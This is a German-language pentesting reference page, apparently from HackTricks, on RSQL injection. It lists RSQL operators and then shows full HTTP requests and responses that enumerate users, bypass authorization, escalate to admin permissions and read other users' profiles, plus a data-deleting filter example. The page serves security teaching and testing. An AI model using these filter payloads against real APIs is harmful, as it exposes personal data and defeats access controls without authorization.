# RSQL Injection {{#include ../banners/hacktricks-training.md}} ## Was ist RSQL? RSQL ist eine Abfragesprache, die für die parametrisierte Filterung von Eingaben in RESTful APIs entwickelt wurde. Basierend auf FIQL (Feed Item Query Language), das ursprünglich von Mark Nottingham zur Abfrage von Atom-Feeds spezifiziert wurde, zeichnet sich RSQL durch seine Einfachheit und die Fähigkeit aus, komplexe Abfragen auf kompakte und URI-konforme Weise über HTTP auszudrücken. Dies macht es zu einer ausgezeichneten Wahl als allgemeine Abfragesprache für die Suche nach REST-Endpunkten. ## Übersicht RSQL Injection ist eine Schwachstelle in Webanwendungen, die RSQL als Abfragesprache in RESTful APIs verwenden. Ähnlich wie bei [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) und [LDAP Injection](https://owasp.org/www-community/attacks/LDAP_Injection) tritt diese Schwachstelle auf, wenn RSQL-Filter nicht ordnungsgemäß bereinigt werden, was es einem Angreifer ermöglicht, bösartige Abfragen einzuschleusen, um Daten ohne Autorisierung zuzugreifen, zu ändern oder zu löschen. ## Wie funktioniert es? RSQL ermöglicht es Ihnen, erweiterte Abfragen in RESTful APIs zu erstellen, zum Beispiel: ```bash /products?filter=price>100;category==electronics ``` Dies übersetzt sich in eine strukturierte Abfrage, die Produkte mit einem Preis von über 100 und der Kategorie „Elektronik“ filtert. Wenn die Anwendung die Benutzereingaben nicht korrekt validiert, könnte ein Angreifer den Filter manipulieren, um unerwartete Abfragen auszuführen, wie zum Beispiel: ```bash /products?filter=id=in=(1,2,3);delete_all==true ``` Oder sogar die Möglichkeit nutzen, um sensible Informationen mit booleschen Abfragen oder geschachtelten Unterabfragen zu extrahieren. ## Risiken - **Exposition sensibler Daten:** Ein Angreifer kann Informationen abrufen, die nicht zugänglich sein sollten. - **Datenänderung oder -löschung:** Injektion von Filtern, die Datenbankeinträge ändern. - **Privilegieneskalation:** Manipulation von Identifikatoren, die Rollen über Filter gewähren, um die Anwendung zu täuschen, indem auf die Privilegien anderer Benutzer zugegriffen wird. - **Umgehung von Zugriffskontrollen:** Manipulation von Filtern, um auf eingeschränkte Daten zuzugreifen. - **Identitätsdiebstahl oder IDOR:** Modifikation von Identifikatoren zwischen Benutzern durch Filter, die den Zugriff auf Informationen und Ressourcen anderer Benutzer ermöglichen, ohne ordnungsgemäß als solche authentifiziert zu sein. ## Unterstützte RSQL-Operatoren | Operator | Beschreibung | Beispiel | |:----: |:----: |:------------------:| | `;` / `and` | Logischer **UND**-Operator. Filtert Zeilen, bei denen *beide* Bedingungen *wahr* sind | `/api/v2/myTable?q=columnA==valueA;columnB==valueB` | | `,` / `or` | Logischer **ODER**-Operator. Filtert Zeilen, bei denen *mindestens eine* Bedingung *wahr* ist| `/api/v2/myTable?q=columnA==valueA,columnB==valueB` | | `==` | Führt eine **gleich**-Abfrage durch. Gibt alle Zeilen aus *myTable* zurück, bei denen die Werte in *columnA* genau *queryValue* entsprechen | `/api/v2/myTable?q=columnA==queryValue` | | `=q=` | Führt eine **Such**-Abfrage durch. Gibt alle Zeilen aus *myTable* zurück, bei denen die Werte in *columnA* *queryValue* enthalten | `/api/v2/myTable?q=columnA=q=queryValue` | | `=like=` | Führt eine **like**-Abfrage durch. Gibt alle Zeilen aus *myTable* zurück, bei denen die Werte in *columnA* wie *queryValue* sind | `/api/v2/myTable?q=columnA=like=queryValue` | | `=in=` | Führt eine **in**-Abfrage durch. Gibt alle Zeilen aus *myTable* zurück, bei denen *columnA* *valueA* ODER *valueB* enthält | `/api/v2/myTable?q=columnA=in=(valueA, valueB)` | | `=out=` | Führt eine **ausschließen**-Abfrage durch. Gibt alle Zeilen aus *myTable* zurück, bei denen die Werte in *columnA* weder *valueA* noch *valueB* sind | `/api/v2/myTable?q=columnA=out=(valueA,valueB)` | | `!=` | Führt eine *nicht gleich* Abfrage durch. Gibt alle Zeilen aus *myTable* zurück, bei denen die Werte in *columnA* nicht *queryValue* entsprechen | `/api/v2/myTable?q=columnA!=queryValue` | | `=notlike=` | Führt eine **nicht wie**-Abfrage durch. Gibt alle Zeilen aus *myTable* zurück, bei denen die Werte in *columnA* nicht wie *queryValue* sind | `/api/v2/myTable?q=columnA=notlike=queryValue` | | `<` & `=lt=` | Führt eine **kleiner als**-Abfrage durch. Gibt alle Zeilen aus *myTable* zurück, bei denen die Werte in *columnA* kleiner als *queryValue* sind | `/api/v2/myTable?q=columnA `/api/v2/myTable?q=columnA=lt=queryValue` | | `=le=` & `<=` | Führt eine **kleiner als** oder **gleich**-Abfrage durch. Gibt alle Zeilen aus *myTable* zurück, bei denen die Werte in *columnA* kleiner oder gleich *queryValue* sind | `/api/v2/myTable?q=columnA<=queryValue`
`/api/v2/myTable?q=columnA=le=queryValue` | | `>` & `=gt=` | Führt eine **größer als**-Abfrage durch. Gibt alle Zeilen aus *myTable* zurück, bei denen die Werte in *columnA* größer als *queryValue* sind | `/api/v2/myTable?q=columnA>queryValue`
`/api/v2/myTable?q=columnA=gt=queryValue` | | `>=` & `=ge=` | Führt eine **gleich** oder **größer als**-Abfrage durch. Gibt alle Zeilen aus *myTable* zurück, bei denen die Werte in *columnA* gleich oder größer als *queryValue* sind | `/api/v2/myTable?q=columnA>=queryValue`
`/api/v2/myTable?q=columnA=ge=queryValue` | | `=rng=` | Führt eine **von bis**-Abfrage durch. Gibt alle Zeilen aus *myTable* zurück, bei denen die Werte in *columnA* gleich oder größer als *fromValue* und kleiner oder gleich *toValue* sind | `/api/v2/myTable?q=columnA=rng=(fromValue,toValue)` | **Hinweis**: Tabelle basiert auf Informationen von [**MOLGENIS**](https://molgenis.gitbooks.io/molgenis/content/) und [**rsql-parser**](https://github.com/jirutka/rsql-parser) Anwendungen. #### Beispiele - name=="Kill Bill";year=gt=2003 - name=="Kill Bill" und year>2003 - genres=in=(sci-fi,action);(director=='Christopher Nolan',actor==*Bale);year=ge=2000 - genres=in=(sci-fi,action) und (director=='Christopher Nolan' oder actor==*Bale) und year>=2000 - director.lastName==Nolan;year=ge=2000;year=lt=2010 - director.lastName==Nolan und year>=2000 und year<2010 - genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino - genres=in=(sci-fi,action) und genres=out=(romance,animated,horror) oder director==Que*Tarantino **Hinweis**: Tabelle basiert auf Informationen von [**rsql-parser**](https://github.com/jirutka/rsql-parser) Anwendung. ## Häufige Filter Diese Filter helfen, Abfragen in APIs zu verfeinern: | Filter | Beschreibung | Beispiel | |--------|------------|---------| | `filter[users]` | Filtert Ergebnisse nach bestimmten Benutzern | `/api/v2/myTable?filter[users]=123` | | `filter[status]` | Filtert nach Status (aktiv/inaktiv, abgeschlossen usw.) | `/api/v2/orders?filter[status]=active` | | `filter[date]` | Filtert Ergebnisse innerhalb eines Datumsbereichs | `/api/v2/logs?filter[date]=gte:2024-01-01` | | `filter[category]` | Filtert nach Kategorie oder Ressourcentyp | `/api/v2/products?filter[category]=electronics` | | `filter[id]` | Filtert nach einer eindeutigen Kennung | `/api/v2/posts?filter[id]=42` | ## Häufige Parameter Diese Parameter helfen, API-Antworten zu optimieren: | Parameter | Beschreibung | Beispiel | |-----------|------------|---------| | `include` | Schließt verwandte Ressourcen in die Antwort ein | `/api/v2/orders?include=customer,items` | | `sort` | Sortiert Ergebnisse in aufsteigender oder absteigender Reihenfolge | `/api/v2/users?sort=-created_at` | | `page[size]` | Steuert die Anzahl der Ergebnisse pro Seite | `/api/v2/products?page[size]=10` | | `page[number]` | Gibt die Seitenzahl an | `/api/v2/products?page[number]=2` | | `fields[resource]` | Definiert, welche Felder in der Antwort zurückgegeben werden sollen | `/api/v2/users?fields[users]=id,name,email` | | `search` | Führt eine flexiblere Suche durch | `/api/v2/posts?search=technology` | ## Informationsleckage und Aufzählung von Benutzern Die folgende Anfrage zeigt einen Registrierungsendpunkt, der den E-Mail-Parameter benötigt, um zu überprüfen, ob ein Benutzer mit dieser E-Mail registriert ist, und gibt je nach Vorhandensein in der Datenbank true oder false zurück: ### Anfrage ``` GET /api/registrations HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Origin: https://localhost:3000 Connection: keep-alive Referer: https://localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` ### Antwort ``` HTTP/1.1 400 Date: Sat, 22 Mar 2025 14:47:14 GMT Content-Type: application/vnd.api+json Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * Content-Length: 85 { "errors": [{ "code": "BLANK", "detail": "Missing required param: email", "status": "400" }] } ``` Obwohl ein `/api/registrations?email=` erwartet wird, ist es möglich, RSQL-Filter zu verwenden, um zu versuchen, Benutzerinformationen durch die Verwendung spezieller Operatoren zu enumerieren und/oder zu extrahieren: ### Request ``` GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Origin: https://locahost:3000 Connection: keep-alive Referer: https://locahost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` ### Antwort ``` HTTP/1.1 200 Date: Sat, 22 Mar 2025 14:09:38 GMT Content-Type: application/vnd.api+json;charset=UTF-8 Content-Length: 38 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * { "data": { "attributes": { "tenants": [] } } } ``` Im Falle eines übereinstimmenden gültigen E-Mail-Kontos würde die Anwendung die Benutzerinformationen zurückgeben, anstatt ein klassisches *„true“*, *„1“* oder ähnliches in der Antwort an den Server zurückzugeben: ### Request ``` GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Origin: https://localhost:3000 Connection: keep-alive Referer: https://localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` ### Antwort ``` HTTP/1.1 200 Date: Sat, 22 Mar 2025 14:19:46 GMT Content-Type: application/vnd.api+json;charset=UTF-8 Content-Length: 293 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * { "data": { "id": "********************", "type": "UserAccountDTO", "attributes": { "id": "********************", "type": "UserAccountDTO", "email": "manuel**********@domain.local", "sub": "*********************", "status": "ACTIVE", "tenants": [{ "id": "1" }] } } } ``` ## Autorisierungsumgehung In diesem Szenario beginnen wir mit einem Benutzer mit einer grundlegenden Rolle, bei dem wir keine privilegierten Berechtigungen (z. B. Administrator) haben, um auf die Liste aller in der Datenbank registrierten Benutzer zuzugreifen: ### Anfrage ``` GET /api/users HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Authorization: Bearer eyJhb................. Origin: https://localhost:3000 Connection: keep-alive Referer: https://localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` ### Antwort ``` HTTP/1.1 403 Date: Sat, 22 Mar 2025 14:40:07 GMT Content-Length: 0 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * ``` Wieder nutzen wir die Filter und speziellen Operatoren, die uns eine alternative Möglichkeit bieten, die Informationen der Benutzer zu erhalten und die Zugriffskontrolle zu umgehen. Zum Beispiel filtern nach den *Benutzern*, die den Buchstaben “*a*” in ihrer Benutzer-*ID* enthalten: ### Request ``` GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Authorization: Bearer eyJhb................. Origin: https://localhost:3000 Connection: keep-alive Referer: https://localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` ### Antwort ``` HTTP/1.1 200 Date: Sat, 22 Mar 2025 14:43:28 GMT Content-Type: application/vnd.api+json;charset=UTF-8 Content-Length: 1434192 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * { "data": [{ "id": "********A***********", "type": "UserGetResponseCustomDTO", "attributes": { "status": "ACTIVE", "countryId": 63, "timeZoneId": 3, "translationKey": "************", "email": "**********@domain.local", "firstName": "rafael", "surname": "************", "telephoneCountryCode": "**", "mobilePhone": "*********", "taxIdentifier": "********", "languageId": 1, "createdAt": "2024-08-09T10:57:41.237Z", "termsOfUseAccepted": true, "id": "******************", "type": "UserGetResponseCustomDTO" } }, { "id": "*A*******A*****A*******A******", "type": "UserGetResponseCustomDTO", "attributes": { "status": "ACTIVE", "countryId": 63, "timeZoneId": 3, "translationKey": ""************", "email": "juan*******@domain.local", "firstName": "juan", "surname": ""************",", "telephoneCountryCode": "**", "mobilePhone": "************", "taxIdentifier": "************", "languageId": 1, "createdAt": "2024-07-18T06:07:37.68Z", "termsOfUseAccepted": true, "id": "*******************", "type": "UserGetResponseCustomDTO" } }, { ................ ``` ## Privilegienerhöhung Es ist sehr wahrscheinlich, bestimmte Endpunkte zu finden, die die Benutzerprivilegien anhand ihrer Rolle überprüfen. Zum Beispiel haben wir es mit einem Benutzer zu tun, der keine Privilegien hat: ### Anfrage ``` GET /api/companyUsers?include=role HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Authorization: Bearer eyJhb...... Origin: https://localhost:3000 Connection: keep-alive Referer: https://localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` ### Antwort ``` HTTP/1.1 200 Date: Sat, 22 Mar 2025 19:13:08 GMT Content-Type: application/vnd.api+json;charset=UTF-8 Content-Length: 11 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * { "data": [] } ``` Durch die Verwendung bestimmter Operatoren könnten wir Administratorbenutzer auflisten: ### Anfrage ``` GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Authorization: Bearer eyJh..... Origin: https://localhost:3000 Connection: keep-alive Referer: https://localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` ### Antwort ``` HTTP/1.1 200 Date: Sat, 22 Mar 2025 19:13:45 GMT Content-Type: application/vnd.api+json;charset=UTF-8 Content-Length: 361 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * { "data": [{ "type": "CompanyUserGetResponseDTO", "attributes": { "companyId": "FA**************", "companyTaxIdentifier": "B999*******", "bizName": "company sl", "email": "jose*******@domain.local", "userRole": { "userRoleId": 1, "userRoleKey": "general.roles.admin" }, "companyCountryTranslationKey": "*******", "type": "CompanyUserGetResponseDTO" } }] } ``` Nachdem man die Kennung eines Administrators kennt, wäre es möglich, eine Privilegieneskalation auszunutzen, indem man den entsprechenden Filter mit der Kennung des Administrators ersetzt oder hinzufügt und die gleichen Berechtigungen erhält: ### Request ``` GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Authorization: Bearer eyJ..... Origin: https:/localhost:3000 Connection: keep-alive Referer: https:/localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` ### Antwort ``` HTTP/1.1 200 Date: Sat, 22 Mar 2025 18:53:00 GMT Content-Type: application/vnd.api+json;charset=UTF-8 Content-Length: 68833 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * { "meta": { "Functionalities": [{ "functionalityId": 1, "permissionId": 1, "effectivePriority": "PERMIT", "effectiveBehavior": "PERMIT", "translationKey": "general.userProfile", "type": "FunctionalityPermissionDTO" }, { "functionalityId": 2, "permissionId": 2, "effectivePriority": "PERMIT", "effectiveBehavior": "PERMIT", "translationKey": "general.my_profile", "type": "FunctionalityPermissionDTO" }, { "functionalityId": 3, "permissionId": 3, "effectivePriority": "PERMIT", "effectiveBehavior": "PERMIT", "translationKey": "layout.change_user_data", "type": "FunctionalityPermissionDTO" }, { "functionalityId": 4, "permissionId": 4, "effectivePriority": "PERMIT", "effectiveBehavior": "PERMIT", "translationKey": "general.configuration", "type": "FunctionalityPermissionDTO" }, { ....... ``` ## Identitätsdiebstahl oder Unsichere Direkte Objektverweise (IDOR) Neben der Verwendung des `filter`-Parameters ist es möglich, andere Parameter wie `include` zu verwenden, die es ermöglichen, bestimmte Parameter (z.B. Sprache, Land, Passwort...) in das Ergebnis einzuschließen. Im folgenden Beispiel werden die Informationen unseres Benutzerprofils angezeigt: ### Anfrage ``` GET /api/users?include=language,country HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Authorization: Bearer eyJ...... Origin: https://localhost:3000 Connection: keep-alive Referer: https://localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` ### Antwort ``` HTTP/1.1 200 Date: Sat, 22 Mar 2025 19:47:27 GMT Content-Type: application/vnd.api+json;charset=UTF-8 Content-Length: 540 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * { "data": [{ "id": "D5********************", "type": "UserGetResponseCustomDTO", "attributes": { "status": "ACTIVE", "countryId": 63, "timeZoneId": 3, "translationKey": "**********", "email": "domingo....@domain.local", "firstName": "Domingo", "surname": "**********", "telephoneCountryCode": "**", "mobilePhone": "******", "languageId": 1, "createdAt": "2024-03-11T07:24:57.627Z", "termsOfUseAccepted": true, "howMeetUs": "**************", "id": "D5********************", "type": "UserGetResponseCustomDTO" } }] } ``` Die Kombination von Filtern kann verwendet werden, um die Autorisierungskontrolle zu umgehen und Zugriff auf die Profile anderer Benutzer zu erhalten: ### Request ``` GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Authorization: Bearer eyJ.... Origin: https://localhost:3000 Connection: keep-alive Referer: https://localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` ### Antwort ``` HTTP/1.1 200 Date: Sat, 22 Mar 2025 19:50:07 GMT Content-Type: application/vnd.api+json;charset=UTF-8 Content-Length: 520 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * { "data": [{ "id": "94******************", "type": "UserGetResponseCustomDTO", "attributes": { "status": "ACTIVE", "countryId": 63, "timeZoneId": 2, "translationKey": "**************", "email": "jose******@domain.local", "firstName": "jose", "surname": "***************", "telephoneCountryCode": "**", "mobilePhone": "********", "taxIdentifier": "*********", "languageId": 1, "createdAt": "2024-11-21T08:29:05.833Z", "termsOfUseAccepted": true, "id": "94******************", "type": "UserGetResponseCustomDTO" } }] } ``` ## Referenzen - [RSQL Injection](https://owasp.org/www-community/attacks/RSQL_Injection) - [RSQL Injection Exploitation](https://m3n0sd0n4ld.github.io/patoHackventuras/rsql_injection_exploitation) {{#include ../banners/hacktricks-training.md}}